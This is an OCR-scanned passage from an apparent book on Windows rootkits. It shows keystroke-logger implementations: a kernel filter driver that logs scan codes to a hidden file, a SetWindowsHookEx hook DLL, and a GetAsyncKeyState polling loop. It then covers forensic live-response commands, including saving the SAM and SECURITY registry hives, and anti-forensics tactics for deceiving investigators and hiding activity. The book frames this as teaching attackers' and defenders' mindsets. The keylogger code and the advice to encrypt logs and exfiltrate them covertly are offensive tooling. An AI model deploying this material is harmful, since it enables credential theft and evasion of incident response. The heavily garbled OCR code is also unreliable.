and write the data to disk without having to possess the mutex to the shared array. The logFile field is just a handle to the keystroke log. To keep things simple, I've encapsulated log file management within the worker thread routines so that the driver doesn't have to worry about creating files or closing handles. This WORKER_THREAD structure is populated by the ini tWorkerThread () routine and then torn down by the destroyWorkerThread() routine. Both of these functions will be called by the driver, the first when it loads and the second when it unloads. The ini tWorkerThread () routine creates the new thread and sets the threadMain () routine as its processing loop. Then we obtain a pointer to the worker thread's object, which we'll need later on when we close up shop. Next, we set keepRunning to TRUE to ensure that the thread loop will continue to execute after we start it and initialize the log file.
NTSTATUS initWorkerThread()
{
PsCreateSystemThread
llOUT PHANDLE ThreadHandle IIIN ULONG DesiredAccess IIIN POBJECT_ATTRIBUTES ObjectAttributes IlIN HMOLE ProcessHandle OPTIONAL llOUT PCLIENT_ID ClientId OPTIONAL IIIN PKSTART_ROUTINE StartRoutine IIIN PVOID StartContext
if(!NT_SUCCESS(ntStatus
{
ntStatus
(
ObReferenceObjectByHandle
IIIN HMOLE Handle IIIN ACCESS_MASK DesiredAccess IIIN POBJECT_TYPE ObjectType OPTIONAL IIIN KPROCESSOR_MODE AccessMode llOUT PVOID *Object I lOUT POBJECT_HMOLE_INFORMATI~ (optional)
if(!NT_SUCCESS(ntStatus
{
480
Part"
workerThread.keepRunning initLogFileO;
TRUE;
As just mentioned, the worker thread takes care of the log file behind the scenes so that it doesn't clutter the general flow of logic. To this end, the ini tLogFile() routine creates a text file named KiLogr. txt on the C: drive. I'll admit this is a bit of a kludge. In a piece of production software the file name and location would not be hard-coded. Fixing this, however, wouldn't take much effort.
void initLogFile()
{
fileName[32] = n\\DosDevices\\c: \\KiLogr. txt"; CCHAR fileNameString; STRING UNICODE_STRING unicodeFileNameString; IO_STATUS_BLOCK OBJECT_ATTRIBUTES NTSTATUS ioStatus; attributes; ntStatus;
InitializeObjectAttributes
(
flOUT POBJECT_ATTRIBUTES InitializedAttributes //IN PUNICODE_STRING ObjectName //IN ULONG Attributes //IN HANDLE RootDirectory //IN PSECURITY_DESCRIPTOR SecurityDescriptor
ntStatus
ZwCreateFile //OUT PHANDLE FileHandle //IN ACCESS_MASK DesiredAccess //IN POBJECT_ATTRIBUTES ObjectAttributes //OUT PIO_STATUS_BLOCK IoStatusBlock //IN PLARGE_INTEGER AllocationSize OPTIONAL //IN ULONG FileAttributes //IN ULONG ShareAccess
e,
Port II 1481
ULONG CreateOisposition IIIN ULONG CreateOptions PIIOID EaBuffer OPTI~L ULONG EaLength
RtlFreeUnicodeString(&unicodeFileNameString)j if(!NT_SUCCESS(ntStatus
{
return j
The worker thread's path of execution begins with the threadMain () function. This function has been implemented as an infinite loop. For each iteration of this loop, the thread checks to see if it should quit by testing the value of its keepRunning field . If this test indicates that the thread should close up shop, it writes whatever's in the global shared buffer to disk and terminates itself.
If the keepRunning test indicates that the worker thread should continue, it checks to see if the shared buffer has enough entries to warrant a disk I/O operation. If the array has a sufficient number of entries (which is determined by the TRIGGER_POINT macro in sharedArray. c), the worker thread will empty the contents of the shared array into its own local array and then write the contents of this array into the keystroke log file. The wri teToLog() call that this function uses to persist scan code information is just a spruced-up wrapper for ZwWriteFile().
VOID threadMain(IN PIIOID pContext)
{
while(TRUE)
{
if(workerThread.keepRunning == FALSE)
{
IWlRO nElementsj DbgMsg("threadMain","harvesting remainder of buffer")j nElements = dumpArray(workerThread . buffer)j DBG_PRINT2("[threadMain]: elements dumped = %d\n",nElements)j writeToLog(nElements)j DbgMsg("threadMain","worker tenninating")j PsTenninateSystemThread(STATUS_SUCCESS)j
}
if(isBufferReady()==TRUE)
{
4821 Part II
MRD nElements; DbgMsg("threadMain","buffer is ready to be harvested"); nElements = dumpArray(workerThread.buffer); DBG_PRINT2("[threadMain]: elements dumped = %d\n",nElements); writeToLog(nElements);
When all is said and done, and the driver is ready to be unloaded, the destroyWorkerThread () function shuts down the worker thread in a safe manner. Specifically, it sets the keepRunning switch to FALSE and then waits on the thread object until it terminates itself using the KeWai tForSingleObj ect () system call. Recall, I mentioned (during the description of the WORKER_THREAD structure) that we'd need the pointer the worker thread's object later on. This is where the threadObjPtr comes in handy. By specifying this field as the dispatch object in our call to KeWai tForSingleObject(), we cause the current thread (i.e., the driver) to wait until the worker thread has terminated. Once this happens we can close the handle to the log file and return, allowing the filter driver to unload.
void destroyWorkerThread()
{
//close the handle (that we never used anyway) ZwClose(workerThread.threadHandle); workerThread.keepRunning KeWaitForSingleObject
(
=
FALSE;
Po rl II
I 483
initSharedArrayO j initworkerThread()j
Likewise, we also need to insert the following line of code into the driver's
OnUnload() routine:
destroyWbrkerThread()j
Last, but not least, we need to modify the completion routine to add elements to the shared array:
addEntry(keys[i])j
That's it. Now our filter driver acts like a proper key logger and actually archives information. In a production rootkit, this log file would probably be encrypted and then hidden using some sort of FISTing tactic. Or, even better, the rootkit might simply stream the encrypted keystroke data over a covert network channel to a remote collection site and never even touch the local hard drive to begin with. It all depends on how sophisticated you want your worker thread to be.
http://www.keycarbon.com!
484 1 Port II
Use rApp.exe Windows Subsystem ntdll.dll Use r Mod e Kernel Mode I/O Manager Fil ter Driver Drive r Stack HAL Hardware
m
1) 2) 3) 4) Hardware Key Logger Custom Bu s Driver Filter Driver User Mod e Hook
II]
[]
gure8-10
User-mode keystroke loggers are probably the most popular type. They're easy to create, they're portable, they have the official support of the Windows subsystem ... but they're also the easiest to detect. With regard to implementation, the following Windows API calls can be used: SetWindowsHookEx ( ) GetAsyncKeyState()
SetWindowsHookEx
Earlier in the book, during our discussion of call table hooks, we used the SetWindowsHookEx() routine as a way to inject a DLL into other applications, for the sake of altering their Import Address Tables. In this case, we stick more closely to the original intent of the SetWindowsHookEx() API call. Specifically, we load a DLL that exports a routine built to intercept keyboard events. The address of this exported routine is then registered with the Windows subsystem as a keyboard event handler. The registration process is handled by the SetWindowsHookEx() function as follows:
HMODULE dllHandlej //handle to the DLL HOOKPROC procptrj //address of the exported DLL routine HHOOK procHandlej //handle to the exported DLL routine BOOLEAN loadKeyLoggerDLL() { //load the DLL dllHandle = LoadLibraryA( "C : \ \LI'lKeyLoggerDLL. dll") j if(dllHandle==NULL) { return(FALSE)j
Po rt II
I 485
//acquire the address of the routine that handles keyboard events procptr = (HOOKPROC)GetProcAddress (dllHandle, "_KeyboardProc@12"); if(procptr==NULL)
{
FreeLibrary(dIIHandle); return(FALSE);
//register this exported routine with the Windows subsystem procHandle = (HHOOK)SetWindowsHookEx
(
flint idHook, the type of event to intercept //HOOKPROC lpfn, pointer to the DLL routine //HINSTANCE hMod, handle to the DLL //DWORD dwThreadld (all threads)
);
if(procHandle==NULL)
{
Though the name we choose for the exported routine is arbitrary, the Windows subsystem does expect the keyboard event handler to possess a certain type signature. Boilerplate code for this routine looks like this:
__declspec(dllexport) LRESULT CALLBACK KeyboardProc
(
//determines how to process the message //virtual key code of the key //bunch of lower-level flags
if(code<B)
{
The first parameter indicates if we should even handle the event or disregard it. Specifically, if the code parameter is less than zero, then we immediately have to pass the event on to the next hook procedure in the hook chain (do not pass Go, do not collect $200). The second parameter, wParam, is a virtual key code. It's basically an integer value that's mapped to a bunch of VK_ * macros in the winuser. h header file .
4861 Part II
Windows has a whole slew of routines devoted to converting the virtual key code to character data. The following is a snippet from this header file to give you an idea of what I'm talking about:
#define #define #define #define VK_BACK VK_TAB VK_CLEAR VK_RETURN exe8 ex89 exec exeD
The third parameter, IParam, it a 32-bit integer that's divided up into bit fields . This series of fields stores many of the low-level pieces of information that we already met while implementing the filter driver (e.g., the keyboard scan code, the state of the key, etc.). A structure delineating these fields could be defined as follows:
typedef struct _KEY_FLAGS
{
OWORD repeatCount:16j OWORD scanCode:8j OWORD isExtendedKey:1j OWORD reserved:4j DWORD isAltDown:1j DWORD prevState:1j OWORD isReleased:1j }KEYJLAGSj
Ilin case the user is holding the key down Iiour old friend, the keyboard scan code
III if the key is an extended key III if the ALT key is down III if the key is down before the message is sent III if the key is being released (otherwise pressed)
For the sake of distinguishing between the interface contract and the actual implementation, I prefer to recast the wParam and IParam arguments and then route them to a separate routine. This separate routine is where the keystroke logging actually occurs. Note that in the following code I'm recycling the scan code table that I used with the kernel-mode filter driver.
char *keyState(2)
= {"[PRESS
)","[RELEASE)"}j
void processKeyEvent
(
fprintf
(
fptr,
"[%e4d) [%02X)\t%s\t%s\n", GetCurrentProcessld(), virtualKeyCode, keyState[(*keyFlags).isReleased), table[(*keyFlags).scanCode)
)j
Po rl II
I 487
return;
GetAsyncKeyState
This trick resides outside of the official event-handling framework, using an existing API call to implement key logging in a manner that you might not expect. It's a clever hack, in the traditional sense, which shows what happens when you think outside the box. The GetAsyncKeyState() routine accepts a virtual key code as an argument. It returns an 16-bit integer value that indicates if the key has been pressed since the last time the routine was invoked and whether the key is currently up or down.
SHORT GetAsyncKeyState(int vKey);
If the least significant bit in the return value is set, the key has been pressed since the last time GetAsyncKeyState() was called. If the most significant bit is set in the return value, the key is currently down.
To log keystrokes, you simply launch a thread that spins in an infinite loop, constantly polling each key on the keyboard that we're interested in. Instead of relying on conventional message-passing facilities (with all of the attendant bells and whistles), we use a more obscure system call to get exactly the information that we need. Creating the polling thread is a cakewalk. Nothing special here, most of the arguments are default values.
hThread = CreateThread
(
NULL
);
II LPSECURITY_ATIRIBlfTES IISIZE_T dwStackSize IILPTHREAD_START_ROUTINE IpStartAddress IILPIIOID IpParameter IIDWORD dwCreationFlags IILPDWORD IpThreadId
This brute force approach realized by the polling routine does surprisingly well. An example implementation might look something like:
WID pollKeys ()
{
for(key=0x00;key<SZ_SCAN_TABLE;key++)
4881 Port II
SHORT keyStatej keyState = GetAsyncKeyState(keY)j if(keyState &8x8091) Ilhas key been pressed since last call?
{
fprintf(fptr,"[%e2X1 %s\n",key,scanTable[key])j
}
} }
returnj
In the previous code I'm accessing the string table defined below to convert virtual key codes to printable strings.
char *scanTable[SZ_SCAN_TABLEI
{
"INVALID" ,
"VK_BACK" , "VK_TAB",
118xOO 118x81 118x82 118x83 118x84 118x8S 118x86 118x87 118x8S 118x89
1* NOT contiguous with L & RBUTTON *1 1* NOT contiguous with L & RBUTTON *1 1* NOT contiguous with L & RBUTTON *1
One way to improve this code would be to test the state of the Shift key during each poll so that the distinction between upper- and lowercase keys can be made.
Po rt II
I 489
effectively be able to hide in a crowd and blend in with day-to-day usage patterns. Capturing keystrokes isn't the only way to grab someone else's credentials. Monitoring network traffic is an excellent way for an intruder to expand his zone of influence. This is another scenario where filter drivers really shine. With widespread use of SSL, sniffing network packets to extract applicationlevel credentials can be problematic (not impossible, but problematic). If you can break into a machine and inject a filter driver into the network stack, just above the drivers that perform the encryption/decryption of network data, you can access sensitive information before it gets armored. To get started on this, I'd recommend looking at the NDIS specs that ship with the WDK documentation. As we'll see later on in the book, during the discussion of anti-forensics, a filter driver can also be used to hide files and directories. There are issues that plague this tactic though, the same sort of issues that crop up when hiding a network port. In a truly high-security environment, the resident auditor may proactively perform both online and offline file system analysis on a regular basis. Think Department of Defense, Federal Reserve, or New York Stock Exchange. If this is the case, the hidden files will show up as a discrepancy between the online and offline snapshots. No doubt someone will notice this, perhaps inciting them to do a little investigation. At this point your rootkit will become conspicuous, which is exactly what you wanted to avoid.
490
Part II
491
Chapter 9
01010010, 01101111, 01101111, 01110100, 01101011, 01101001, 01110100, 01110011, 00100000, 01000011, 01001000, 00111001
Rootkits and forensics are akin to the yin and yang of computer security. They reflect complementary aspects of the same domain, and yet within one are aspects of the other. Designing a rootkit can teach you how to identify hidden objects and practicing forensics can teach you how to effectively hide things. In this part of the book I'll give you an insight into the mindset of the opposition so that your rookit might be more resistant to their methodology. As Sun Tzu says, "Know your enemy." Over the course of this chapter and the next two I'll present several of the standard operating procedures of forensic analysis. I'll start with the live response, move on to disk analysis, and then finish with network traffic analysis. The general approach that I adhere to is the one described by Richard Bejtlichl in his definitive book on computer forensics. At each step, I'll explain why investigators do what they do and then at the end I'll turn around and show you how to undermine their techniques. Though there is powerful voodoo at our disposal, the ultimate goal isn't always achieving complete
1
Jones, Bejtlich, and Rose, Real Digital Forensics: Computer Security and Incident Response, Addison-Wesley Professional, October 2005.
493
victory. Sometimes the goal is to make forensic analysis prohibitively expensive; which is to say that raising the bar high enough can do the trick. After all, the analysts of the real world are often constrained by budgets and billable hours.
IDS systems can be host-based (HIDS) or network-based (NIDS). An HIDS is typically a software package that's installed on a single machine, where it scans for malware locally using the sort of rootkit countermeasures described in Chapters 5 through 8. An NIDS, on the other hand, tends to be an appliance or dedicated server that sits on the network watching packets as they fly by. An NIDS can be hooked up to a SPAN port of a switch, a test access port between the firewall and a router, or simply be jacked into a hub that's been strategically placed. In the late 1990s, the intrusion prevention system (IPS) emerged as a more proactive alternative to the classic IDS model. Like an IDS, an IPS can be host-based (HIPS) or network-based (NIPS). The difference is that an IPS is allowed to take corrective measures once it detects a threat. This might entail denying a malicious process access to local system resources, or dropping packets sent over the network by the malicious process. Having established itself as a fashionable acronym, IPS products are sold by all the usual suspects. For example, McAfee sells an HIPS package,2 as does Cisco (i.e., the Cisco Security Agent3) . If your budget will tolerate it,
2 3
http://www.mcafee.com/us/enterprise/products/host_intrusion..Jlreventionlindex.html http://www.cisco.com/en/US/products/sw/secursw/ps5057/index.html
494
Po rt III
Checkpoint sells an NIPS appliance called Intercept. 4 If you're short on cash, SNORT is well-known open source NIPS that's gained a loyal following.5 The thing about IDS and IPS packages is that they're all about detecting problems. Forensics is performed after the fact. If IDS is a part-time security guard, and IPS is a commissioned patrol officer, then a forensic suite is the equivalent of a grizzled homicide detective who shows up at the scene, with a cigar clenched between his teeth, after someone's found a dead body.
Computer forensics is a discipline that focuses on identifying, collecting, and analyzing evidence after an attack has occurred. The ultimate goal is to determine:
Who the attacker was (could it be more than one individual?) What the attacker did When the attack took place How they did it Why they did it (money, ideology, ego, shits & giggles?)
In other words, given a machine's current state, what series of events led to this state?
Anti-Forensics
Traditionally, computer forensic operations are performed after an incident, which is to say that a system administrator may be responding to an alert raised by an IDS or IPS installation. However, in a truly locked-down environment, forensic checks may be performed as a part of normal daily protocols in an effort to augment security. The techniques used to perform a forensic investigation can be classified according to where the data being analyzed resides (see Figure 9-1). First and foremost, data can reside either in a storage medium (like DRAM chips or a HDD) or on the network. On a Windows machine, data on disk is divided into logical areas of storage called volumes, where each volume is formatted with a specific file system (NTFS, FAT, ISO 9660, etc.). These volumes in turn store files, which can be binary files that adhere to some context-specific structure (e.g., registry hives, page files, database stores, etc.) or
http://www.checkpoint.com/products/interspect/ http://www.snort.org/
executables. At each branch in the tree a set of checks can be performed to locate and examine anomalies.
Executable File Analysis
Figure 91
Anti-forensics is directed at foiling these different types of analysis by altering how data is stored and managed. The following strategies will recur throughout the next few chapters as we discuss different anti-forensic tactics. Data destruction Data hiding Data transformation Data contraception Data fabrication File system attacks
Data Destrudion
Data destruction aims to minimize the amount of forensic evidence by disposing of data securely after it's no longer needed. This could be as simple as wiping the memory buffers used by a program, or it could involve repeated overwriting to turn a cluster of data on disk into a random series of bytes. The end result is that by the time a forensic investigator finds the data, it is worthless garbage.
Data Hiding
Data hiding refers to the practice of storing data in a location where it is not
likely to be found. This is a strategy that relies on security through obscurity, and it's really only good over the short term because eventually the more persistent White Hats will find your little hacker hidey-hole. For example, if
496
Pa rt III
you absolutely must store data on a persistent medium, then you might want to use reserved disk sectors or maybe file system metadata structures.
Data Transformation
Data transformation involves taking information and processing it with an
algorithm that disguises its meaning. Steganography, the practice of hiding one message within another, is a classic example of data transformation. Substitution ciphers, which replace one quantum of data with another, and transposition ciphers, which rearrange the order in which data is presented, are examples that do not offer much security. Standard encryption algorithms like triple-DES, on the other hand, are a form of data transformation that can offer a high degree of security.
Data Contraception
According to a researcher known only as "the grugq," the idea behind data contraception is to reduce the amount of forensic evidence by storing data where it cannot be analyzed (e.g., using a memory-resident rootkit rather than a traditional KMD).6 Data contraception attains this goal by preventing data from being written to disk and to do so by relying on common system utilities, which won't alert the forensic analyst as the presence of a custom tool would.
Data Fabrication
Data fabrication is a truly devious strategy. Its goal is to flood the forensic
analyst with false positives and bogus leads so that he ends up spending most of his time chasing his tail. You essentially create a huge mess and let the forensic analyst clean it up. For example, if a forensic analyst is going to try to identify an intruder using file checksums, then simply alter as many files on the volume as possible. This strategy falls in line with the goal that we make forensic analysis so expensive that the analyst might be tempted to give up before getting to the bottom of things.
Grugq, "FIST! FIST! FIST! It's all in the wrist: Remote Exec," Phrack, Issue 62.
make sense of the volume and be unable to examine its contents. The problem with this strategy is that there's typically no road back. If a forensic tool can't understand the file system, then Windows probably won't be able to boot up correctly after a restart. This is one reason why I don't recommend this approach. It alerts the system administrator that something is wrong. In the domain of rootkits, subtlety is the coin of the realm. Being conspicuous by destabilizing the file system is a cardinal sin.
In an attempt to implement an in-depth defense approach, a rootkit might use a combination of all of these strategies in tandem to protect itself from forensic investigators.
Volatile data is information that would be irrevocably lost if the machine suddenly lost power (e.g., the list of running processes, network connections, logon sessions, etc.). Nonvolatile data is persistent, which is to say that we could acquire it from a forensic duplication of the machine's hard drive. The difference is that the format in which the information is conveyed is easier to read when requested from a running machine.
As part of the live response process, some investigators will also scan a suspected machine from a remote computer to see which ports are active.
r-----------------------------!
: Volatile Data Nonvolatile Data :
I
: :
" :
.----------------------------,
I I I I I I I I I I I I
:
I
:
I
I I I I I I I I I _________ __ _________________ I L I
Figure 9-2
Discrepancies that appear between the data collected locally and the port scan may indicate the presence of a rootkit.
If the machine being examined can be shut down, and you can afford the resulting disruption, creating a crash dump file might offer insight into the state of the system's internal kernel structures. This is definitely not an option that should be taken lightly, as forensic investigations normally prefer to disturb the scene of the crime as little as possible. A complete kernel dump consumes disk space and can potentially destroy valuable evidence. The associated risk can be somewhat mitigated by redirecting the dump file to a non-system drive via the Advanced System Properties window. If tools are readily available, a snapshot of the machine's BIOS and PCI-ROM can be acquired for analysis. The viability of this step varies greatly from one vendor to the next. It's best to do this step after the machine has been powered down using a DOS boot disk, or a live CD, so that the process can be performed without the risk of potential interference. Though, to be honest, forensic examination of BIOS and PCI-ROM code lies on the outskirts of dangerous and unknown territory. At the first sign of trouble, most system administrators will simply flash their firmware with the most recent release and forgo forensics.
Once the machine has been powered down, a forensic copy of the machine's drives will be created in preparation for file system analysis. This way, the investigator can poke around the fi le system, dissecting s uspicious executables and opening up system fi les without having to worry about destroying evidence. In some cases, a first-generation copy will be made to
Part III
/499
spawn other second-generation copies so that the original medium only has to be touched once before being bagged and tagged by the White Hats. During the disk analysis phase, if the requisite network logs have been archived, the investigator can gather together all of the packets that were sent to and from the machine being scrutinized. This can be used to paint a picture of who was communicating with the machine and why.
In the event that the machine in question cannot be powered down to create a disk image, live response may be the only option available. This can be the case when a machine is providing mission-critical services (e.g., financial transactions) and the owner literally cannot afford a minute of downtime. Perhaps they've signed a service-level agreement (SLA) that imposes punitive measures for downtime. Legal ramifications also rear its ugly head as the forensic investigator may also be held liable for damages if the machine is shut down (e.g., operational costs, recovering corrupted files, lost transaction fees, etc.).
In a typical audit the following sorts of volatile data values are recorded:
System up time and the current time Network parameters (NetBIOS name cache, active connections, the routing table, etc.) NIC configuration settings Logged on users and active sessions Loaded drivers Running services Running processes and related parameters (loaded DLLs, open handles, ownership) Auto-start modules Shared drives and files opened remotely
500
Part III
Recording the time and date at which the volatile snapshot is taken will provide a frame of reference later on while the investigator is analyzing user sessions, the event logs, and the file system.
The second command in the previous snippet parses the output of the systeminfo command to indicate how long the machine has been up. This can be useful in terms of detecting memory leaks, as machines that suffer from this problem tend to crash on a regular basis (e.g., every third day). Note that OUTPUT_DIR is just an environmental variable used to specify the directory where command output will persist.
If an investigator is lucky, and the attacker is feeling bold, overt signs of compromise may be visible through an examination of relevant network parameters. For example, the attacker may have established a temporary base of operations on the current machine and be using it to probe the rest of the network (e.g., ping sweeps, port scans, etc.) for more targets. Or, he may be herding a sizeable botnet to perform a distributed attack (e.g., SPAM, denial-of-service, etc.). To detect this sort of ruckus, the following series of commands can be issued:
> %OUTPUT-DIR%\Network-NameCache.txt nbtstat -c netstat -a -n -0 > %OUTPUT-DIR%\Network-Endpoints.txt > %OUTPUT-DIR%\Network-RoutingTable.txt netstat -m > %OUTPUT-DIR%\NICs-Ipconfig.txt ipconfig lall promqry.exe > %OUTPUT-DIR%\NICs-Promiscuous.txt
The first command uses nbtstat. exe to dump the NetBIOS name cache, the mapping of NetBIOS machine names to their corresponding IP addresses. The second and third commands use netstat. exe to record all of the active network connections, listening ports, and the machine's routing table. The invocation of ipconfig.exe dumps the configuration the machine's network interfaces. The final command, promqry. exe, is a special tool that can be downloaded from Microsoft. 7 It detects if any of the network interfaces on the local machine are operating in promiscuous mode, which is a telltale sign that someone has installed a network sniffer. To enumerate users who have logged on to the current machine and the resulting logon sessions, there are a couple of tools from Sysinternals that fit the bill: 8
7 http://www.microsoft.com/download s/ 8 httpJ/technet.microsoft.com/en-us/sysinternals/default.aspx
The psloggedon. exe command lists both users who have logged on locally and users who are logged on remotely via resource shares. Using the -x switch with psloggedon. exe displays the time that each user logged on. The -p option used with logonsessions. exe causes the processes running under each session to be listed. Note, the shell running logonsessions. exe must be running with administrative privileges. We've already met the WDK's drivers. exe tool. It lists the drivers currently installed.
drivers> %OUTPUT-DIR%\Drivers.txt
The tasklist. exe command, invoked with the Isvc option, lists the executables that have been loaded into memory and the services that they host (some generic hosts, like svchost. exe, can sponsor a dozen distinct services). While this command offers a cursory list of services, the next command, psservice. exe from Sysinternals, uses information stored in the registry and the SCM database to offer a detailed view of each service. Services have traditionally been a way for intruders to install back doors so that they can access the host once an exploit has been run. Services can be configured to run automatically, without user interaction, and can be stowed within the address space of an existing svchost. exe module (making it less conspicuous to the uninitiated). Some intruders may simply enable existing Windows services, like Telnet or FTp, to facilitate low-budget remote access and minimize their footprint on the file system. We can associate a user with each process using tasklist. exe with the Iv option. We can attain the same basic list of processes, only in a hierarchical tree structure, using the pslist . exe tool from Sysinternals. To use pslist. exe, the shell executing this command must be running with admin privileges.
502
Part III
During the analysis phase, the investigator will peruse through these task lists, eliminating "known good" executables so that he's left with a small list of unknown programs. This will allow him to focus on potential suspects and cross-reference these suspects against other volatile data that's collected. To enumerate the DLLs loaded by each process, and the full path of each DLL, you can use the listdlls. exe utility from Sysinternals. Yet another Sysinternals utility, handle. exe, can be used to list all of the handles that a process has open (e.g., to registry keys, files, ports, synchronization primitives, and other processes). As with many of these commands, it's a good idea to run listdlls. exe and handle. exe as an administrator. These tools will help identify malicious DLLs that have been injected (e.g., key log . dll) and programs that are accessing things that they normally shouldn't manipulate (e.g., like an open handle to Outlook. exe). To next three commands provide a fairly exhaustive list of code that is configured to execute automatically.
autorunsc.exe -a at schtasks /query
> %OUTPUT-DIR%\Autorun-OumpAll .txt > %OUTPUT-DIR%\Autorun-AtCmd.txt > %OUTPUT-DIR%\Autorun-SchtasksCmd.txt
The first command, autorunsc. exe from Sysinternals, scours the system to create a truly exhaustive inventory of binaries that are loaded both when the system starts up and when a user logs on. For many years, this tool provided a quick-and-dirty way to spot-check for malware. The next two commands (at. exe and schtasks. exe) enumerate programs that have been scheduled to execute according to some predefined timetable. To list scheduled tasks with the at. exe command, the shell executing the command must be running with administrative privileges. One problem with using services to facilitate backdoors is that they're always running and will thus probably be noticed during a live response (i.e., when the investigator runs netstat. exe). Creating a backdoor that runs periodically, as a scheduled task, is a way around this. For example, an intruder may schedule a script to run every night at 2:00 a.m. that connects to an IRC as a client. The attacker can then log on to the IRC himself and interact with the faux client to channel commands back to the compromised host. To enumerate a machine's shared drives and the files that have been opened remotely, the following two commands can be used:
psfile > %OUTPUT-DIR%\OpenFiles-Remote.txt net share > %OUTPUT-DIR%\Drives .txt
Po rt III
I 503
Once all these commands have been issued, the next order of business would usually be to take a snapshot of memory. This task is subtle enough, however, that it deserves its own section and so I will defer this topic until later so that I can wade into all of the related complexities.
However, a SYN scan won't catch everything. Not by a long shot. For example, if a machine is hosting UDP services, you should search for them using a UDP scan by specifying the -SU option instead of the - sS option. Nmap
9
http://nmap.org/
supports a wide variety of specialized scans based on the observation that the investigator will achieve best results by using the right tool for the right job.
Knowing what software has been installed, and to what extent it has been patched, is important because it can indicate how an attacker initially gained access. One of the first things many attackers do during the attack cycle is to scan a machine for listening ports in an effort to identify network services they can exploit. Once they have a list of services, they'll try to acquire version and patch level information. A service that hasn't been fully patched can be exploited. At this point the attacker will go trolling for recent hacks. There are plenty of full-disclosure web sites that publish the necessary details.l One way to determine what software has been installed, and which patches have been applied, is to use the systeminfo . exe command in conjunction with the ps info . exe command (from Sysinternals).
systeminfo > %OUTPUT-DIR%\Software-Patches.txt psinfo -s > %OUTPUT-DIR%\Software-Installed .txt
Shrewd attackers can make this analysis more difficult by installing patches once they've gained access in a bid to cover their tracks. Though, this in and of itself can help indicate when a machine was compromised.
10 http://www.securityfocus.com/archive
Aside
Here's an instructive exercise that you can perform to demonstrate this process. If you happen to have an old machine hanging around that you can afford to sacrifice, install a copy of Windows on it and place it unprotected on the Internet without installing any patches. Turn off the machine's frrewa1l, turn off Windows Update, enable plenty of network services, and then sit there with a stopwatch to see how long it takes to get rooted. Once attackers have a foothold on a system, they may create an account for themselves so that they can access the machine using legitimate channels (e.g., remote desktop, MMC snap-ins, network shares, etc.). This way they can try to camouflage their actions with those of other operators. To detect this maneuver, the following commands can be used to enumerate user groups and accounts:
cscript IIH:cscript cscript Inologo groups.vbs > %OUTPUT-DIR%\Users-Groups.txt cscript Inologo users.vbs > %OUTPUT-DIR%\Users-Accounts.txt for IF "delims=" %%a in (Users-Accounts. txt) do net user "%%a" %OUTPUT-DIR% \Users-Account-Details.txt
The first command sets the default script engine. The second command uses the following Visual Basic script to list security groups recognized on the machine:
On Error Resume Next
strComputer = "." Set objllMIService = GetDbject("winmgmts:" _ & "{impersonationLevel=impersonate}I\\" & strComputer & "\root\cimv2") Set col Items = objllMIService.ExecQuery _ ("Select * from Win32_Group Where LocalAccount = True") For Each objItem Wscript.Echo Wscript.Echo Wscript.Echo Wscript.Echo Wscript.Echo Wscript. Echo Wscript. Echo Wscript.Echo Wscript.Echo Next in colItems "Caption: " & objItem.Caption "Description: " & objItem.Description "Domain: " & objItem.Domain "Local Account: " & objItem.LocalAccount "Name: " & objItem.Name "SID: " & objItem.SID "SID Type: " & obj Item. SIDType "Status: " & objItem.Status
The third command uses the following Visual Basic script to list user accounts recognized on the machine: 506
Part III
Set objNetwork = CreateObject("Wscript.Network") strComputer = objNetwork.ComputerName Set colAccounts = GetObject{"WinNT: / r & strComputer & ") colAccounts . Filter = Array("user") For Each objUser In colAccounts Wscript.Echo objUser.Name Next
For each account recorded by the third command, the fourth command iterates through this list and executes a net user command for each account to acquire more detailed information (including the last time they logged on). In an attempt to minimize the amount of breadcrumbs that are left while logged in as a legitimate user, some attackers will change the effective audit policy on a machine (i.e., set "Audit logon events" to "No auditing").
auditpol /get /category:* > %OUTPUT-DIR%\Logging-AuditPolicy.txt wevtutil el > %OUTPUT -DIR%\Logging-EventLogNames. txt
Even if auditing has been hobbled by intruders, such that the event logs are fairly useless, they still might leave a history of their activity on a system in terms of the files that they've modified. If you wanted to list all of the files on the C: drive and their timestamps, you could do so using the following command:
dir C:\ /a /o:d /t:w /s
The problem with this approach is that the output of the command is not formatted in a manner that is conducive to being imported into a spreadsheet program like Excel. To deal with this issue, we can use the find. exe command that ships with a package call UnxUtils.l 1 The UnxUtils suite is essentially a bunch of standard UNIX utilities that have been ported to Windows. The following command uses find. exe to enumerate every folder and file on the C:\ drive:
find c: \ -printf "%%TY-%%Tm-%%Tdj%%p\n" > %OUTPUT -DIR%\Files- TimeSta~s. rtf
The -printf option uses a syntax similar to the printf() standard library routine. In the case above, the date that the object was last modified is output, followed by the full path to the object. Last but not least, given the registry's role as the hub of configuration settings and ASEPs, it's probably a good idea to get a copy of the juicy bits. The
11 http://sourceforge.net/projectslunxutils
following commands create both binary and text-based copies of information in the registry:
reg reg reg reg reg reg save save save save save save HKLM\SYSTEM HKLM\SOFTWARE HKLM\SECURITY HKLM\SAM HKLM\COMPONENTS HKLM\BCoeeeeeeee system.dat software .dat security.dat sam.dat components.dat bcd.dat
Countermeasures
Live response is best at identifying malware that's trying to hide in a crowd. An intruder might not take overt steps to hide, but instead may simply camouflage himself into the throng of running processes with the guarded expectation that the administrator will not notice. After all, someone making a cursory pass over the process list in the Task Manager probably won't notice the additional instance of svchost . exe or the program named s pooler. exe. Ahem.
When it comes to the live incident response process, the Black Hats and their rootkits have a decided advantage. The standard rootkit tactics presented in this book were expressly designed to foil live response. If you look back through the command-line tools that are invoked, you'll see that they all use high-level Windows API calls to do what they do (you can use dumpbin. exe to verify this). In other words, they're just begging to be deceived by all of the dirty tricks described in Chapters 5 through 8. As long as the local HIDSIHIPS package can be evaded, and the rootkit does its job, a live response won't yield much of value.
>
Note: Ultimately, Part II of the book, which focuses on altering the con tents of memory via patching , is aimed at subverting this phase of a forensic investigation . Hence, it would be entirely reasonable if we were to lump Part II and Pa rt III of this book together under the common designation of anti-forensics . In other words, the countermeasures we can use to undermine a live incident response are the same techniques discussed in Part II.
The exceptions to this rule arise with regard to the external network scan and the RAM acquisition phase (we'll look at RAM acquisition next). If a rootkit is hiding a network port (perhaps to conceal a remote shell), the external scan will expose the hidden port and alert a wary forensic investigator. This is one reason why I advise against overtly concealing network communication. It's much wiser to disguise network traffic by tunneling it inside a well-known protocol. We'll look into this later on in the book when we examine covert channels.
12 Jesse Kornblum, "Exploiting the Rootkit Paradox with Windows Memory Analysis,"
In this section we'll look at both options and weigh their relative strengths and weaknesses.
Software-Based Acquisition
